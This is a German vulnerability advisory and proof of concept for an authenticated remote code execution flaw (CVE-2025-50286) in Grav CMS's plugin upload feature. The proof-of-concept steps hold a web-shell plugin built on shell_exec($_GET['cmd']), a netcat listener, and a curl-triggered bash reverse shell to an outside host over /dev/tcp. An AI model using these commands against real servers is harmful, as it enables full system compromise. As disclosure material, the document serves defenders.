Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authentifizierte RCE via Plugin-Upload (CVE-2025-50286)

Grav CMS v1.7.48 mit Admin Plugin v1.10.48 ist anfällig für Remote Code Execution (RCE) über die „Direct Install“-Plugin-Upload-Funktion, die authentifizierten Administratoren erlaubt, beliebigen PHP-Code auf dem Server auszuführen.

CVE-ID

CVE-2025-50286

Zusammenfassung

• Typ: Authentifizierte Remote Code Execution (RCE)
• Ort: /admin/tools/direct-install (Admin-Panel > Werkzeuge > Direktinstallation)
• Auswirkung: Beliebige PHP-Codeausführung und potenzielle vollständige Systemkompromittierung
• Erforderliche Authentifizierung: Ja (Administratorzugriff)
• Betroffene Version: Grav CMS v1.7.48 / Admin Plugin v1.10.48

Proof of Concept

1. Bereiten Sie einen Listener vor:

   root@kitploit:~

   nc -lvnp 4444
   

2. Melden Sie sich als Administrator im Grav Admin-Panel an.

3. Navigieren Sie zu Werkzeuge > Direktinstallation

4. Laden Sie eine bösartige Plugin-ZIP (evilplugin.zip) mit folgender Struktur hoch:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← enthält: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimales Blueprint zur Validierung
   

5. Lösen Sie die Reverse Shell aus:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Reverse Shell empfangen:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Betroffene Komponente

• Endpunkt: /admin/tools/direct-install
• Funktionalität: Plugin-Upload und Autoload ohne Validierung

Getestet auf

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (mit Admin Plugin v1.10.48)

Entdecker

@binneko

Referenzen

• Grav CMS GitHub
• CVE-Eintrag - CVE-2025-50286

Haftungsausschluss

Nur zu Bildungs- und Sicherungszwecken.